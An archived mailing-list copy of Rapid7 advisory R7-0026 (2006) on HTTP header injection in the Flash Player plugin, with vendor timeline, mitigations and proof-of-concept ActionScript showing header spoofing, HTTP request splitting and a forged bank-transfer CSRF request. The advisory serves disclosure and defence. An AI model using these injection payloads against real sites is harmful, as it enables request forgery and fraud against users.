ðòïåëôù 


  áòèé÷ 


Apache-Talk @lexa.ru 

Inet-Admins @info.east.ru 

Filmscanners @halftone.co.uk 

Security-alerts @yandex-team.ru 

nginx-ru @sysoev.ru 

  óôáôøé 


  ðåòóïîáìøîïå 


  ðòïçòáííù 



ðéûéôå
ðéóøíá














     áòèé÷ :: Security-alerts
Security-Alerts mailing list archive (security-alerts@yandex-team.ru)

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[security-alerts] FW: [VulnWatch] Rapid7 Advisory R7-0026: HTTP Header Injection Vulnerabilities in the Flash Player Plugin



> -----Original Message-----
> From: advisory@xxxxxxxxxx [mailto:advisory@xxxxxxxxxx] 
> Sent: Wednesday, October 18, 2006 12:36 AM
> To: vulnwatch@xxxxxxxxxxxxx
> Subject: [VulnWatch] Rapid7 Advisory R7-0026: HTTP Header 
> Injection Vulnerabilities in the Flash Player Plugin
> 
> Rapid7 Advisory R7-0026
> HTTP Header Injection Vulnerabilities in the Flash Player Plugin
> 
>   Published:   Oct 17, 2006
>   Revision:    1.0
>   http://www.rapid7.com/advisories/R7-0026.jsp
> 
> 1. Affected System(s):
> 
> KNOWN VULNERABLE:
>   o Flash Player plugin 9.0.16 (for Windows)
>   o Flash Player plugin 7.0.63 (for Linux)
> 
> PROBABLY VULNERABLE:
>   o Earlier 9.0.x and 7.0.x versions
>   o 8.0.x versions
> 
> KNOWN FIXED:
>   o Flash Player plugin BETA version 9.0.18d60 (for Windows)
> 
> 2. Summary
> 
> Two HTTP Header Injection vulnerabilities have been 
> discovered by Rapid7
> in the Flash Player plugin. They allow attackers to perform arbitrary
> HTTP requests while controlling most of the HTTP headers. 
> This can make
> it easier to perform CSRF attacks [2] in some cases. When the HTTP
> server implements Keep-Alive connections and when Firefox is 
> used, these
> Flash vulnerabilities can even be used to perform totally 
> arbitrary HTTP
> requests where every part is controlled by the attacker: HTTP method,
> URI, HTTP version, headers, and data. Such attacks make use 
> of the HTTP
> Request Splitting method.
> 
> 3. Vendor Status and Information
> 
> Adobe Systems, Inc.
> http://www.adobe.com
> 
> Sep 18, 2006
>   Adobe acknowledges reception of the vulnerability details.
> 
> Sep 29, 2006
>   Adobe responds with proposed dates for a fix later this year.
> 
> Oct 5, 2006
>   Adobe releases a fixed BETA version of Flash 9 for Windows (version
>   9.0.18d60, release files are named beta_100406).
> 
> Oct 17, 2006
>   Advisory is published after expiration of the 30-day grace period
>   granted to Adobe to fix and disclose the vulnerabilities.
> 
> 4. Solution
> 
> Used the fixed BETA version (9.0.18d60). Only allow trusted 
> websites to
> use Flash. Disable or uninstall the Flash plugin. Use 
> alternative Flash
> plugins (GplFlash, Gnash).
> 
> 5. Detailed Analysis
> 
> The vulnerabilities described hereafter have been successfully tested
> with the latest versions of Flash available for various 
> platforms as of
> 2006/09/06, and with multiple combinations of browser/OS:
> 
> o IE6 SP2 (aka IE6 SV1) for Windows, with Flash plugin 9.0.16
> o Firefox 1.5.0.6 for Windows, with Flash plugin 9.0.16
> o Firefox 1.5.0.6 for Linux, with Flash plugin 7.0.63
> 
> 5.1. XML.addRequestHeader() Vulnerability
> 
> Flash features a scripting language called ActionScript. ActionScript
> comes with a certain number of standard classes available to Flash
> developers. In particular, the send() method of the XML object can be
> used to send XML document trees to arbitrary URLs using, by default, a
> POST request. This, in itself, is not a vulnerability; the XML.send()
> method definitely complies with the Flash security model [4].
> 
> However another method defined in the XML class, 
> addRequestHeader(), can
> be used to add arbitrary HTTP headers to the request 
> performed by Flash.
> Its intended usage is:
> 
>   var req:XML=new XML('test');
>   req.addRequestHeader("X-My-Header", "42");
>   req.send("http://host/path";);
> 
> When calling req.send("http://host/path";), such a POST 
> request would be
> submitted to 'host' (common HTTP headers that do not matter to us in
> this example have been removed for brevity):
> 
>   POST /path HTTP/1.1
>   Host: host
>   Referer: (referer)
>   Content-type: application/x-www-form-urlencoded
>   X-My-Header: 42
>   Content-Length: 4
> 
>   test
> 
> For security reasons, Flash 9 does not let developers use
> addRequestHeader() to set headers such as Host, Referer, or
> Content-Length.
> 
> But there is a way to get around this security restriction: the
> addRequestHeader() method does not sufficiently sanity check its two
> arguments. This makes it possible to inject arbitrary headers:
> 
>   req.addRequestHeader("Referer:http://anywhere\r\nX-foo";, "bar");
> 
> With IE, a request containing only the fake Referer is sent:
> 
>   POST /path HTTP/1.1
>   Host: host
>   Referer: http://anywhere
>   Content-Type: application/x-www-form-urlencoded
>   X-foo: bar
>   Content-Length: 4
> 
>   test
> 
> With Firefox, a request containing both the real Referer and the fake
> one is sent:
> 
>   POST /path HTTP/1.1
>   Host: host
>   Referer: (real referer)
>   Content-type: application/x-www-form-urlencoded
>   Referer:http://anywhere
>   X-foo: bar
>   Content-Length: 4
> 
>   test
> 
> For this attack to work, the first argument of addRequestHeader() must
> not contain any space (ASCII 0x20) else the Flash plugin appears to
> ignore the addRequestHeader() call. This is absolutely not a 
> problem in
> real-world attack scenarios, because the space character 
> usually present
> before the Referer value is optional (see RFC 2616 [5], section "4.2
> Message Headers").
> 
> It is interesting to note that IE seems to post-process the headers
> generated by Flash before sending them to the HTTP server. Indeed, IE
> diligently removes the real Referer to use the 
> Flash-generated one, and
> it even automatically adds the optional space character 
> before the fake
> Referer value.
> 
> Of course any cookie that would be associated with 'host' would be
> automatically sent along with the request, which is another good thing
> for attackers.
> 
> For total control of the generated request, when the server supports
> keep-alive connections and when Firefox is used, it is possible to use
> the HTTP Request Splitting method to insert another HTTP request:
> 
>   req.addRequestHeader("Content-Length:0\r\n\r\n" +
>     "POST\t/anotherpath\tHTTP/1.1\r\n" +
>     "Host:host\r\n" +
>     "Referer:faked\r\n" +
>     "User-Agent:faked\r\n" +
>     "Content-Type:faked\r\n" +
>     "Content-Length:3\r\n" +
>     "\r\n" +
>     "foo\n",
>     "bar");
> 
> This generates what Firefox thinks is one request, while in fact the
> server interprets it as two separate requests because of the fake
> "Content-Length:0" header:
> 
>   POST /path HTTP/1.1
>   Host: host
>   Keep-Alive: 300
>   Connection: keep-alive
>   Referer: (real referer)
>   Content-type: application/x-www-form-urlencoded
>   Content-Length:0
> 
>   POST        /anotherpath        HTTP/1.1
>   Host:host
>   Referer:faked
>   User-Agent:faked
>   Content-Type:faked
>   Content-Length:3
> 
>   foo
>   : bar
>   Content-length: 4
> 
>   test
> 
> Tabs (ASCII 0x09) have to be used around the URI ("/anotherpath")
> instead of spaces (ASCII 0x20) else, as explained above, Flash ignores
> the addRequestHeader() call. But other than this minor inconvenient,
> pretty much any other character can be sent, absolutely nothing is
> URL-encoded, which gives plenty of freedom to attackers.
> 
> The unwanted data after "foo" (": bar\r\nContent-length: 
> 4\r\n\r\ntest")
> do not create any problem at all either. Because the 
> attacker-controlled
> "Content-Length:3" header takes care of instructing the 
> server to ignore
> any subsequent data.
> 
> When trying to use this HTTP Request Splitting method with 
> IE, it fails
> with a generic "The page cannot be displayed" error. This is probably
> due to the fact that when IE post-processes the headers (as explained
> previously), it messes up the manually built HTTP request and ends up
> with something that doesn't look like 2 valid requests at all. In
> particular, what seems to trigger this error is the CR LF CR 
> LF sequence
> separating the headers from the body. This issue has not been
> investigated any more. More research is necessary to determine if
> exploiting IE this way is possible.
> 
> It should be pointed out that this new Flash 9 XML.addRequestHeader()
> vulnerability is similar to other, previously reported vulnerabilities
> in Flash 7 & 8 affecting the LoadVars class, as explained in this
> Bugtraq posting from Amit Klein [1]. So, in a certain way, this new
> vulnerability re-opens a path of exploitation that was available to
> attackers in Flash 7 & 8.
> 
> 5.2. XML.contentType Vulnerability
> 
> The XML class defines the contentType attribute, which can be set by
> Flash developers, e.g.:
> 
>   req.contentType = "text/plain";
> 
> The exact same vulnerability than the one described in the previous
> section also exists for this attribute: Flash does not check the
> validity of its value before building the HTTP request. It is possible
> to exploit it in the same way that addRequestHeader() is used:
> 
>   req.contentType = "text/plain\r\nReferer: anything";
> 
> Contrary to addRequestHeader(), Flash allows spaces (ASCII 0x20) to be
> used in this string.
> 
> 5.3 Consequence
> 
> The consequence of these vulnerabilities is that attackers have a lot
> more control on the headers that get sent along with HTTP requests,
> compared to what is commonly thought possible. In particular the Host,
> Referer, and User-Agent headers can be spoofed. It is even possible to
> voluntarily generate malformed HTTP requests too, when the 
> HTTP Request
> Splitting method is used.
> 
> But when combined with other flaws, such as XSS or CSRF, these Flash
> vulnerabilities become a handy tool to exploit them. The next section
> describes a CSRF attack scenario.
> 
> 6. Exploitation Example
> 
> 6.1. Description of CSRF Attacks
> 
> A Cross-Site Request Forgery (CSRF) is a form of attack where a
> malicious site A exploits the trust a site B has in a user by 
> forging an
> HTTP request and sending it to site B, which sees it as 
> coming from its
> trusted user. See [2] for a more detailled description of 
> CSRF attacks.
> 
> The Flash vulnerabilities presented above can help attackers 
> forge such
> HTTP requests.
> 
> Multiple approaches exist to prevent CSRF attacks, offering varying
> levels of protection. For example requiring POST requests 
> instead of GET
> requests is a very poor way to protect against them. Other times, the
> protection chosen by web site developers is to check for the HTTP
> Referer. The assumption is that spoofing the Referer header is much
> harder, but not impossible. These Flash vulnerabilities are able to
> spoof it.
> 
> A much better way to protect against CSRF attacks is to 
> require the use
> of a security hash, as described in [3].
> 
> 6.2. Attack Scenario
> 
> Let's say a malicious attacker is able to convince a user to visit his
> malicious website http://malicious. The intent of the attacker is to
> perform a CSRF attack against the user's bank website https://bank to
> silently transfer money from the user's account to the attacker's
> account. This attack assumes that (1) the bank uses SSL/TLS (HTTPS)
> combined with cookie-based authentication, (2) checks the 
> Referer header
> to prevent CSRF attacks (hopefully no bank is doing this), 
> and (3) that
> a money transfer order can be initiated via such an HTTP request:
> 
>   POST /xfer.cgi HTTP/1.1
>   Host: bank
>   Referer: https://bank/index.html
>   Cookie: ...
>   Content-Type: application/x-www-form-urlencoded
>   Content-Length: 63
> 
>   from=VICTIMACCOUNT&to=ATTACKERACCOUNT&amount=1000&send=Transfer
> 
> The attack also assumes the user is using Firefox, because we 
> are going
> to use the CR LF CR LF sequence with addRequestHeader() to insert the
> HTTP body data (as explained in section 1.1 this sequence 
> does not work
> with IE for an unknown reason).
> 
> We have to insert the HTTP body using addRequestHeader() because this
> way the body doesn't get URL-encoded by Flash (it is URL-encoded when
> passed as a string to the XML() constructor).
> 
> And we have to prevent URL-encoding in order to preserve the 
> ampersands
> ("&") present in the body ("from=...&to=...").
> 
> So, in order to perform the attack, the attacker would have to place a
> Flash movie on http://malicious containing this ActionScript code:
> 
>   var req:XML=new XML('x');
>   req.addRequestHeader(
>     "Referer:https://bank/index.html\r\n"; +
>     "Content-Length:63\r\n" +
>     "\r\n" +
>     
> "from=VICTIMACCOUNT&to=ATTACKERACCOUNT&amount=1000&send=Transfer\r\n",
>     "y");
>   req.send("https://bank/xfer.cgi";);
> 
> Then, when the user would visit http://malicious, assuming his browser
> still owns an unexpired cookie from the bank, this request 
> would be sent
> via HTTPS (XML.send() allows an HTTP site to send data over HTTPS):
> 
>   POST /xfer.cgi HTTP/1.1
>   Host: bank
>   Referer: http://malicious
>   Cookie: (bank cookie)
>   Content-type: application/x-www-form-urlencoded
>   Referer:https://bank/index.html
>   Content-Length:63
> 
>   from=VICTIMACCOUNT&to=ATTACKERACCOUNT&amount=1000&send=Transfer
>   : y
>   Content-length: 1
> 
>   x
> 
> And the attack would succeed, despite SSL/TLS, despite the 
> cookie auth,
> and despite the Referer check (if the application server takes into
> account the second Referer).
> 
> If URL-encoding of the HTTP body is acceptable, then IE can 
> be targetted
> by not using the CR LF CR LF sequence, then only one Referer would be
> present in the headers.
> 
> 7. Credits
> 
> This vulnerability was discovered by Marc Bevand of Rapid7.
> 
> 8. Contact Information
> 
> Rapid7, LLC
> Email: advisory@xxxxxxxxxx
> Web: http://www.rapid7.com
> Phone: +1 (310) 316-1235
> 
> 9. Disclaimer and Copyright
> 
> Rapid7, LLC is not responsible for the misuse of the information
> provided in our security advisories. These advisories are a service to
> the professional security community. There are NO WARRANTIES 
> with regard
> to this information. Any application or distribution of this 
> information
> constitutes acceptance AS IS, at the user's own risk.  This 
> information
> is subject to change without notice.
> 
> This advisory Copyright (C) 2006 Rapid7, LLC. Permission is hereby
> granted to redistribute this advisory, providing that no changes are
> made and that the copyright notices and disclaimers remain intact.
> 
> 10. Footnotes
> 
> [1] http://www.securityfocus.com/archive/1/441014/30/0/threaded
> [2] http://en.wikipedia.org/wiki/Csrf
> [3] http://www.squarefree.com/securitytips/web-developers.html
> [4] The Flash security model allows SWF files to perform XML.send()
>   requests to other domains, because this method can only be used to
>   send requests (and not receive the associated responses, which could
>   be sensitive/private data). This, plus the fact that Flash enforces
>   other restrictions (such as preventing the overwriting of some HTTP
>   headers), explains why the security model allows cross-domain
>   XML.send() requests.
> [5] RFC 2616 - Hypertext Transfer Protocol -- HTTP/1.1
>   ftp://ftp.rfc-editor.org/in-notes/rfc2616.txt
> 
> 
> 



 




Copyright © Lexa Software, 1996-2009.